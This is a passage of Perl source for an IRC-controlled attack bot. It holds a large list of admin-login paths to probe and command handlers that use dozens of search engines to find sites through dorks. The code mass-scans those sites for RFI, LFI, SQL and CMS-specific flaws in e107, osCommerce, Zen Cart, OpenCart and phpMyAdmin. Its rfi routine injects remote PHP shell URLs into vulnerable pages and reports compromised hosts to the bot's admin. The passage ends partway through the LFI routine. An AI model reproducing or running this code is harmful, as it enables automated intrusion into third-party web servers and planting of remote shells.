nt.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
| |
| 421 | 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php', | |
| 422 | 'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php', | |
| 423 | 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html', | |
| 424 | 'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html', | |
| 425 | 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin1.php','admin1.html','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','ccms/','ccms/login.php','ccms/index.php','maintenance/','webmaster/','adm/','configuration/','configure/','websvn/','admin/','admin/account.php','admin/account.html'. 'admin/index.php','admin/index.html','admin/login.php'. 'admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/index.php','administrator/login.html','administrator/login.php','administrator/account.html','administrator/account.php','administrator.php','administrator.html','login.php','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/home.asp','admin/controlpanel.asp','admin.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration/','administration.php','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','dminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/',' --> Finish!!'); | |
| 426 | &msg("$path","15,1(4@9LOGIN15)13 Searching Admin login for 4".$test."");
| |
| 427 | foreach $scan(@index){
| |
| 428 | $url = $test.$scan; | |
| 429 | $request = HTTP::Request->new(GET=>$url); | |
| 430 | $useragent = LWP::UserAgent->new(); | |
| 431 | $response = $useragent->request($request); | |
| 432 | if ($response->is_success && $response->content =~ /Admin Area/ || $response->content =~ /Password/ || $response->content =~ /welcome/ || $response->content =~ /admin area/ || $response->content =~ /passwd/ || $response->content =~ /username/) {
| |
| 433 | $msg = "9Ok!!"; | |
| 434 | } | |
| 435 | else { $msg = "4forbidden!!";}
| |
| 436 | &msg("$path","15,1(4@9LOGIN15)13 $url 4$msg");
| |
| 437 | sleep 1; | |
| 438 | } | |
| 439 | } | |
| 440 | exit; | |
| 441 | } | |
| 442 | } | |
| 443 | ||
| 444 | ##################################################################### RFI SCAN | |
| 445 | ||
| 446 | if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
| |
| 447 | if (my $pid = fork) {
| |
| 448 | waitpid($pid, 0); | |
| 449 | } | |
| 450 | else {
| |
| 451 | if (fork) { exit; } else {
| |
| 452 | if (&isFound($injector,"aXBheXMg=")) {
| |
| 453 | my ($bug,$dork) = ($1,$2); | |
| 454 | &msg("$path","$rfilogo 9Dork :4 $dork");
| |
| 455 | &msg("$path","$rfilogo 13Bugz :4 $bug");
| |
| 456 | &msg("$path","$rfilogo 8Search Engine Loading ...");
| |
| 457 | &scan_start($path,$bug,$dork,$engine,1); | |
| 458 | } else {
| |
| 459 | &msg("$path","[ $nick ] $rfilogo 4PHP Shell Not Found!");
| |
| 460 | } | |
| 461 | } | |
| 462 | exit; | |
| 463 | } | |
| 464 | } | |
| 465 | ||
| 466 | ##################################################################### LFI SCAN | |
| 467 | ||
| 468 | if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
| |
| 469 | if (my $pid = fork) {
| |
| 470 | waitpid($pid, 0); | |
| 471 | } | |
| 472 | else {
| |
| 473 | if (fork) { exit; } else {
| |
| 474 | if (&isFound($injector,"aXBheXMg=")) {
| |
| 475 | my ($bug,$dork) = ($1,$2); | |
| 476 | &msg("$path","$lfilogo 9Dork :4 $dork");
| |
| 477 | &msg("$path","$lfilogo 13Bugz :4 $bug");
| |
| 478 | &msg("$path","$lfilogo 8Search Engine Loading ...");
| |
| 479 | &scan_start($path,$bug,$dork,$engine,2); | |
| 480 | } else {
| |
| 481 | &msg("$path","[ $nick ] $lfilogo 4PHP Shell Not Found!");
| |
| 482 | } | |
| 483 | } | |
| 484 | exit; | |
| 485 | } | |
| 486 | } | |
| 487 | ||
| 488 | ##################################################################### e107 SCAN | |
| 489 | ||
| 490 | if ($msg=~ /^$e107cmd\s+(.*)/) {
| |
| 491 | if (my $pid = fork) {
| |
| 492 | waitpid($pid, 0); | |
| 493 | } | |
| 494 | else {
| |
| 495 | if (fork) { exit; } else {
| |
| 496 | if (&isFound($injector,"aXBheXMg=")) {
| |
| 497 | my ($bug,$dork) = ("contact.php",$1);
| |
| 498 | &msg("$path","$e107logo 9Dork :4 $dork");
| |
| 499 | &msg("$path","$e107logo 13Bugz :4 $bug");
| |
| 500 | &msg("$path","$e107logo 8Search Engine Loading ...");
| |
| 501 | &scan_start($path,$bug,$dork,$engine,3); | |
| 502 | } else {
| |
| 503 | &msg("$path","[ $nick ] $e107logo 4PHP Shell Not Found!");
| |
| 504 | } | |
| 505 | } | |
| 506 | exit; | |
| 507 | } | |
| 508 | } | |
| 509 | ##################################################################### XML SCAN | |
| 510 | if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
| |
| 511 | if (my $pid = fork) {
| |
| 512 | waitpid($pid, 0); | |
| 513 | } | |
| 514 | else {
| |
| 515 | if (fork) { exit; } else {
| |
| 516 | if (&isFound($injector,"aXBheXMg=")) {
| |
| 517 | my ($bug,$dork) = ($1,$2); | |
| 518 | &msg("$path","$xmllogo 9Dork :4 $dork");
| |
| 519 | &msg("$path","$xmllogo 13Bugz :4 $bug");
| |
| 520 | &msg("$path","$xmllogo 8Search Engine Loading ...");
| |
| 521 | &scan_start($path,$bug,$dork,$engine,4); | |
| 522 | } else {
| |
| 523 | &msg("$path","[ $nick ] $xmllogo 4PHP Shell Not Found!");
| |
| 524 | } | |
| 525 | } | |
| 526 | exit; | |
| 527 | } | |
| 528 | } | |
| 529 | ||
| 530 | ##################################################################### SQL SCAN | |
| 531 | ||
| 532 | if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
| |
| 533 | if (my $pid = fork) {
| |
| 534 | waitpid($pid, 0); | |
| 535 | } | |
| 536 | else {
| |
| 537 | if (fork) { exit; } else {
| |
| 538 | my ($bug,$dork) = ($1,$2); | |
| 539 | &msg("$path","$sqllogo 9Dork :4 $dork");
| |
| 540 | &msg("$path","$sqllogo 13Bugz :4 $bug");
| |
| 541 | &msg("$path","$sqllogo 8Search Engine Loading ...");
| |
| 542 | &scan_start($path,$bug,$dork,$engine,5); | |
| 543 | } | |
| 544 | exit; | |
| 545 | } | |
| 546 | } | |
| 547 | ||
| 548 | ##################################################################### OSCO SCAN | |
| 549 | ||
| 550 | if ($msg=~ /^$oscocmd\s+(.*)/) {
| |
| 551 | if (my $pid = fork) {
| |
| 552 | waitpid($pid, 0); | |
| 553 | } | |
| 554 | else {
| |
| 555 | if (fork) { exit; } else {
| |
| 556 | if (&isFound($injector,"aXBheXMg=")) {
| |
| 557 | my ($bug,$dork) = ("admin/categories.php/login.php?cPath=&action=new_product_preview",$1);
| |
| 558 | &msg("$path","$oscologo 9Dork :4 $dork");
| |
| 559 | &msg("$path","$oscologo 8Search Engine Loading ...");
| |
| 560 | &scan_start($path,$bug,$dork,$engine,6); | |
| 561 | } else {
| |
| 562 | &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
| |
| 563 | } | |
| 564 | } | |
| 565 | exit; | |
| 566 | } | |
| 567 | } | |
| 568 | ##################################################################### OSCO SCAN | |
| 569 | ||
| 570 | if ($msg=~ /^$oscocmd\s+(.*)/) {
| |
| 571 | if (my $pid = fork) {
| |
| 572 | waitpid($pid, 0); | |
| 573 | } | |
| 574 | else {
| |
| 575 | if (fork) { exit; } else {
| |
| 576 | if (&isFound($injector,"aXBheXMg=")) {
| |
| 577 | my ($bug,$dork) = ("admin/file_manager.php/login.php",$1);
| |
| 578 | &scan_start($path,$bug,$dork,$engine,6); | |
| 579 | } else {
| |
| 580 | &msg("$path","[ $nick ] $oscologo 4PHP Shell Not Found!");
| |
| 581 | } | |
| 582 | } | |
| 583 | exit; | |
| 584 | } | |
| 585 | } | |
| 586 | ||
| 587 | ##################################################################### PhpMyAdmin SCAN | |
| 588 | ||
| 589 | if ($msg=~ /^$admcmd\s+(.*)/) {
| |
| 590 | if (my $pid = fork) {
| |
| 591 | waitpid($pid, 0); | |
| 592 | } | |
| 593 | else {
| |
| 594 | if (fork) { exit; } else {
| |
| 595 | my ($bug,$dork) = ("phpMyAdmin/config/config.inc.php",$1);
| |
| 596 | &msg("$path","$admlogo 9Dork :4 $dork");
| |
| 597 | &msg("$path","$admlogo 8Search Engine Loading ...");
| |
| 598 | &scan_start($path,$bug,$dork,$engine,7); | |
| 599 | } | |
| 600 | exit; | |
| 601 | } | |
| 602 | } | |
| 603 | ##################################################################### OPENCART SCAN | |
| 604 | ||
| 605 | if ($msg=~ /^$opcmd\s+(.+?)\s+(.*)/) {
| |
| 606 | if (my $pid = fork) {
| |
| 607 | waitpid($pid, 0); | |
| 608 | } | |
| 609 | else {
| |
| 610 | if (fork) { exit; } else {
| |
| 611 | my ($bug,$dork) = ($1,$2); | |
| 612 | &msg("$path","$oplogo 9Dork :4 $dork");
| |
| 613 | &msg("$path","$oplogo 13Bugz :4 $bug");
| |
| 614 | &msg("$path","$oplogo 8Search Engine Loading ...");
| |
| 615 | &scan_start($path,$bug,$dork,$engine,8); | |
| 616 | } | |
| 617 | exit; | |
| 618 | } | |
| 619 | } | |
| 620 | ##################################################################### ZEN SCAN | |
| 621 | ||
| 622 | if ($msg=~ /^$zencmd\s+(.*)/) {
| |
| 623 | if (my $pid = fork) {
| |
| 624 | waitpid($pid, 0); | |
| 625 | } | |
| 626 | else {
| |
| 627 | if (fork) { exit; } else {
| |
| 628 | my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
| |
| 629 | &msg("$path","$zenlogo 9Dork :4 $dork");
| |
| 630 | &msg("$path","$zenlogo 13Search Engine Loading ...");
| |
| 631 | &scan_start($path,$bug,$dork,$engine,9); | |
| 632 | } | |
| 633 | exit; | |
| 634 | } | |
| 635 | } | |
| 636 | ##################################################################### ZEN SCAN | |
| 637 | ||
| 638 | if ($msg=~ /^$zencmd\s+(.*)/) {
| |
| 639 | if (my $pid = fork) {
| |
| 640 | waitpid($pid, 0); | |
| 641 | } | |
| 642 | else {
| |
| 643 | if (fork) { exit; } else {
| |
| 644 | my ($bug,$dork) = ("admin/record_company.php",$1);
| |
| 645 | &scan_start($path,$bug,$dork,$engine,9); | |
| 646 | } | |
| 647 | exit; | |
| 648 | } | |
| 649 | } | |
| 650 | ##################################################################### | |
| 651 | ||
| 652 | } | |
| 653 | } | |
| 654 | ||
| 655 | for(my $c=0; $c<= $#lines; $c++) {
| |
| 656 | $line = $lines[$c]; | |
| 657 | $line = $line_temp.$line if ($line_temp); | |
| 658 | $line_temp = ''; | |
| 659 | $line =~ s/\r$//; | |
| 660 | unless ($c == $#lines) {
| |
| 661 | &parse("$line");
| |
| 662 | } else {
| |
| 663 | if ($#lines == 0) {
| |
| 664 | &parse("$line");
| |
| 665 | } elsif ($lines[$c] =~ /\r$/) {
| |
| 666 | &parse("$line");
| |
| 667 | } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
| |
| 668 | &parse("$line");
| |
| 669 | } else {
| |
| 670 | $line_temp = $line; | |
| 671 | } | |
| 672 | } | |
| 673 | } | |
| 674 | } | |
| 675 | } | |
| 676 | ||
| 677 | ######################################### | |
| 678 | sub type () {
| |
| 679 | my ($chan,$bug,$dork,$engine,$type) = @_; | |
| 680 | if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
| |
| 681 | elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
| |
| 682 | elsif ($type == 3){&e107($chan,$bug,$dork,$engine);}
| |
| 683 | elsif ($type == 4){&xml($chan,$bug,$dork,$engine);}
| |
| 684 | elsif ($type == 5){&sql($chan,$bug,$dork,$engine);}
| |
| 685 | elsif ($type == 6){&osco($chan,$bug,$dork,$engine);}
| |
| 686 | elsif ($type == 7){&adm($chan,$bug,$dork,$engine);}
| |
| 687 | elsif ($type == 8){&op($chan,$bug,$dork,$engine);}
| |
| 688 | elsif ($type == 9){&zen($chan,$bug,$dork,$engine);}
| |
| 689 | } | |
| 690 | sub scan_start() {
| |
| 691 | my ($chan,$bug,$dork,$engine,$type) = @_; | |
| 692 | if ($engine =~ /google/i) {
| |
| 693 | if (my $pid = fork) { waitpid($pid, 0); }
| |
| 694 | else { if (fork) { exit; } else {
| |
| 695 | &type($chan,$bug,$dork,"GooGLe",$type); | |
| 696 | } exit; } | |
| 697 | } | |
| 698 | ||
| 699 | if ($engine =~ /google2/i) {
| |
| 700 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 701 | else { if (fork) { exit; } else {
| |
| 702 | &type($chan,$bug,$dork,"GooGle2",$type); | |
| 703 | } exit; } | |
| 704 | } | |
| 705 | ||
| 706 | if ($engine =~ /bing/i) {
| |
| 707 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 708 | else { if (fork) { exit; } else {
| |
| 709 | &type($chan,$bug,$dork,"Bing",$type); | |
| 710 | } exit; } | |
| 711 | } | |
| 712 | ||
| 713 | if ($engine =~ /altavista/i) {
| |
| 714 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 715 | else { if (fork) { exit; } else {
| |
| 716 | &type($chan,$bug,$dork,"ALtaViSTa",$type); | |
| 717 | } exit; } | |
| 718 | } | |
| 719 | ||
| 720 | if ($engine =~ /ask/i) {
| |
| 721 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 722 | else { if (fork) { exit; } else {
| |
| 723 | &type($chan,$bug,$dork,"AsK",$type); | |
| 724 | } exit; } | |
| 725 | } | |
| 726 | ||
| 727 | if ($engine =~ /uol/i) {
| |
| 728 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 729 | else { if (fork) { exit; } else {
| |
| 730 | &type($chan,$bug,$dork,"UoL",$type); | |
| 731 | } exit; } | |
| 732 | } | |
| 733 | ||
| 734 | if ($engine =~ /yahoo/i) {
| |
| 735 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 736 | else { if (fork) { exit; } else {
| |
| 737 | &type($chan,$bug,$dork,"YahOo",$type); | |
| 738 | } exit; } | |
| 739 | } | |
| 740 | ||
| 741 | if ($engine =~ /clusty/i) {
| |
| 742 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 743 | else { if (fork) { exit; } else {
| |
| 744 | &type($chan,$bug,$dork,"CluSty",$type); | |
| 745 | } exit; } | |
| 746 | } | |
| 747 | ||
| 748 | if ($engine =~ /gutser/i) {
| |
| 749 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 750 | else { if (fork) { exit; } else {
| |
| 751 | &type($chan,$bug,$dork,"GutSer",$type); | |
| 752 | } exit; } | |
| 753 | } | |
| 754 | ||
| 755 | if ($engine =~ /rediff/i) {
| |
| 756 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 757 | else { if (fork) { exit; } else {
| |
| 758 | &type($chan,$bug,$dork,"ReDiff",$type); | |
| 759 | } exit; } | |
| 760 | } | |
| 761 | ||
| 762 | if ($engine =~ /virgilio/i) {
| |
| 763 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 764 | else { if (fork) { exit; } else {
| |
| 765 | &type($chan,$bug,$dork,"VirgiLio",$type); | |
| 766 | } exit; } | |
| 767 | } | |
| 768 | ||
| 769 | if ($engine =~ /webde/i) {
| |
| 770 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 771 | else { if (fork) { exit; } else {
| |
| 772 | &type($chan,$bug,$dork,"WebDe",$type); | |
| 773 | } exit; } | |
| 774 | } | |
| 775 | ||
| 776 | if ($engine =~ /exalead/i) {
| |
| 777 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 778 | else { if (fork) { exit; } else {
| |
| 779 | &type($chan,$bug,$dork,"ExaLead",$type); | |
| 780 | } exit; } | |
| 781 | } | |
| 782 | ||
| 783 | if ($engine =~ /lycos/i) {
| |
| 784 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 785 | else { if (fork) { exit; } else {
| |
| 786 | &type($chan,$bug,$dork,"LyCos",$type); | |
| 787 | } exit; } | |
| 788 | } | |
| 789 | ||
| 790 | if ($engine =~ /hotbot/i) {
| |
| 791 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 792 | else { if (fork) { exit; } else {
| |
| 793 | &type($chan,$bug,$dork,"HotBot",$type); | |
| 794 | } exit; } | |
| 795 | } | |
| 796 | ||
| 797 | if ($engine =~ /aol/i) {
| |
| 798 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 799 | else { if (fork) { exit; } else {
| |
| 800 | &type($chan,$bug,$dork,"AoL",$type); | |
| 801 | } exit; } | |
| 802 | } | |
| 803 | ||
| 804 | if ($engine =~ /sapo/i) {
| |
| 805 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 806 | else { if (fork) { exit; } else {
| |
| 807 | &type($chan,$bug,$dork,"SaPo",$type); | |
| 808 | } exit; } | |
| 809 | } | |
| 810 | ||
| 811 | if ($engine =~ /duck/i) {
| |
| 812 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 813 | else { if (fork) { exit; } else {
| |
| 814 | &type($chan,$bug,$dork,"DuCk",$type); | |
| 815 | } exit; } | |
| 816 | } | |
| 817 | ||
| 818 | if ($engine =~ /lygo/i) {
| |
| 819 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 820 | else { if (fork) { exit; } else {
| |
| 821 | &type($chan,$bug,$dork,"LyGo",$type); | |
| 822 | } exit; } | |
| 823 | } | |
| 824 | ||
| 825 | if ($engine =~ /yause/i) {
| |
| 826 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 827 | else { if (fork) { exit; } else {
| |
| 828 | &type($chan,$bug,$dork,"YauSe",$type); | |
| 829 | } exit; } | |
| 830 | } | |
| 831 | ||
| 832 | if ($engine =~ /baidu/i) {
| |
| 833 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 834 | else { if (fork) { exit; } else {
| |
| 835 | &type($chan,$bug,$dork,"BaiDu",$type); | |
| 836 | } exit; } | |
| 837 | } | |
| 838 | ||
| 839 | if ($engine =~ /kipot/i) {
| |
| 840 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 841 | else { if (fork) { exit; } else {
| |
| 842 | &type($chan,$bug,$dork,"KiPoT",$type); | |
| 843 | } exit; } | |
| 844 | } | |
| 845 | ||
| 846 | if ($engine =~ /gibla/i) {
| |
| 847 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 848 | else { if (fork) { exit; } else {
| |
| 849 | &type($chan,$bug,$dork,"GiBLa",$type); | |
| 850 | } exit; } | |
| 851 | } | |
| 852 | ||
| 853 | if ($engine =~ /black/i) {
| |
| 854 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 855 | else { if (fork) { exit; } else {
| |
| 856 | &type($chan,$bug,$dork,"BLacK",$type); | |
| 857 | } exit; } | |
| 858 | } | |
| 859 | ||
| 860 | if ($engine =~ /onet/i) {
| |
| 861 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 862 | else { if (fork) { exit; } else {
| |
| 863 | &type($chan,$bug,$dork,"oNeT",$type); | |
| 864 | } exit; } | |
| 865 | } | |
| 866 | ||
| 867 | if ($engine =~ /israel/i) {
| |
| 868 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 869 | else { if (fork) { exit; } else {
| |
| 870 | &type($chan,$bug,$dork,"israel",$type); | |
| 871 | } exit; } | |
| 872 | } | |
| 873 | if ($engine =~ /hongkong/i) {
| |
| 874 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 875 | else { if (fork) { exit; } else {
| |
| 876 | &type($chan,$bug,$dork,"hongkong",$type); | |
| 877 | } exit; } | |
| 878 | } | |
| 879 | ||
| 880 | if ($engine =~ /india/i) {
| |
| 881 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 882 | else { if (fork) { exit; } else {
| |
| 883 | &type($chan,$bug,$dork,"india",$type); | |
| 884 | } exit; } | |
| 885 | } | |
| 886 | ||
| 887 | if ($engine =~ /korea/i) {
| |
| 888 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 889 | else { if (fork) { exit; } else {
| |
| 890 | &type($chan,$bug,$dork,"korea",$type); | |
| 891 | } exit; } | |
| 892 | } | |
| 893 | ||
| 894 | if ($engine =~ /philiphina/i) {
| |
| 895 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 896 | else { if (fork) { exit; } else {
| |
| 897 | &type($chan,$bug,$dork,"philiphina",$type); | |
| 898 | } exit; } | |
| 899 | } | |
| 900 | if ($engine =~ /thailand/i) {
| |
| 901 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 902 | else { if (fork) { exit; } else {
| |
| 903 | &type($chan,$bug,$dork,"thailand",$type); | |
| 904 | } exit; } | |
| 905 | } | |
| 906 | ||
| 907 | if ($engine =~ /sizuka/i) {
| |
| 908 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 909 | else { if (fork) { exit; } else {
| |
| 910 | &type($chan,$bug,$dork,"SiZuka",$type); | |
| 911 | } exit; } | |
| 912 | } | |
| 913 | ||
| 914 | if ($engine =~ /walla/i) {
| |
| 915 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 916 | else { if (fork) { exit; } else {
| |
| 917 | &type($chan,$bug,$dork,"WaLLa",$type); | |
| 918 | } exit; } | |
| 919 | } | |
| 920 | ||
| 921 | if ($engine =~ /demos/i) {
| |
| 922 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 923 | else { if (fork) { exit; } else {
| |
| 924 | &type($chan,$bug,$dork,"DeMos",$type); | |
| 925 | } exit; } | |
| 926 | } | |
| 927 | ||
| 928 | if ($engine =~ /rose/i) {
| |
| 929 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 930 | else { if (fork) { exit; } else {
| |
| 931 | &type($chan,$bug,$dork,"RoSe",$type); | |
| 932 | } exit; } | |
| 933 | } | |
| 934 | ||
| 935 | if ($engine =~ /seznam/i) {
| |
| 936 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 937 | else { if (fork) { exit; } else {
| |
| 938 | &type($chan,$bug,$dork,"SeZnaM",$type); | |
| 939 | } exit; } | |
| 940 | } | |
| 941 | ||
| 942 | if ($engine =~ /tiscali/i) {
| |
| 943 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 944 | else { if (fork) { exit; } else {
| |
| 945 | &type($chan,$bug,$dork,"TisCali",$type); | |
| 946 | } exit; } | |
| 947 | } | |
| 948 | ||
| 949 | if ($engine =~ /naver/i) {
| |
| 950 | if ($pid = fork) { waitpid($pid, 0); }
| |
| 951 | else { if (fork) { exit; } else {
| |
| 952 | &type($chan,$bug,$dork,"NaVeR",$type); | |
| 953 | } exit; } | |
| 954 | } | |
| 955 | } | |
| 956 | ||
| 957 | ######################################### | |
| 958 | ||
| 959 | sub rfi() {
| |
| 960 | my $chan = $_[0]; | |
| 961 | my $bug = $_[1]; | |
| 962 | my $dork = $_[2]; | |
| 963 | my $engine = $_[3]; | |
| 964 | my $count = 0; | |
| 965 | my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo); | |
| 966 | my $num = scalar(@list); | |
| 967 | if ($num > 0) {
| |
| 968 | foreach my $site (@list) {
| |
| 969 | $count++; | |
| 970 | if ($count == $num-1) { &msg("$chan","$rfilogo(4@9$engine15)10 Scan finish"); }
| |
| 971 | my $coba = "http://".$site.$bug."test??"; | |
| 972 | my $test = "http://".$site.$bug.$injector."??"; | |
| 973 | my $dor = "http://".$site.$bug.$botshell."??"; | |
| 974 | my $dor2 = "http://".$site.$bug.$botshell2."??"; | |
| 975 | my $cek = &get_content($coba);sleep(1); | |
| 976 | &get_content($dor);sleep(1); | |
| 977 | &get_content($dor2);sleep(1); | |
| 978 | if ($cek =~ /failed to open stream/i) {
| |
| 979 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 980 | &rfi_xpl($test,$chan,$site); | |
| 981 | exit;} | |
| 982 | } | |
| 983 | } | |
| 984 | } | |
| 985 | } | |
| 986 | } | |
| 987 | ||
| 988 | sub rfi_xpl() {
| |
| 989 | my $url = $_[0]; | |
| 990 | my $chan = $_[1]; | |
| 991 | my $site = $_[2]; | |
| 992 | my $dor = $url.$botshell."??"; | |
| 993 | my $dor2 = $url.$botshell2."??"; | |
| 994 | my $test = $url.$injector."??"; | |
| 995 | my $vuln = $url."14(ByroeNet)"; | |
| 996 | my $check = &get_content($test); | |
| 997 | &get_content($dor);sleep(1); | |
| 998 | &get_content($dor2);sleep(1); | |
| 999 | if ( $check =~ /ipays - exploit/i ) {
| |
| 1000 | my $safe =""; | |
| 1001 | my $os =""; | |
| 1002 | my $free =""; | |
| 1003 | if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
| |
| 1004 | if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
| |
| 1005 | if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
| |
| 1006 | if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
| |
| 1007 | &msg("$chan","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)(4@9safemode-off15)");
| |
| 1008 | &msg("$admin","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");
| |
| 1009 | } | |
| 1010 | else {&msg("$chan","$rfilogo(4@9VuLn15)10 ".$vuln." (4@7safemode-on15)");}
| |
| 1011 | } | |
| 1012 | ||
| 1013 | sub lfi() {
| |
| 1014 | my $chan = $_[0]; | |
| 1015 | my $bug = $_[1]; | |
| 1016 | my $dork = $_[2]; | |
| 1017 | my $engine = $_[3]; | |
| 1018 | my $count = 0; | |
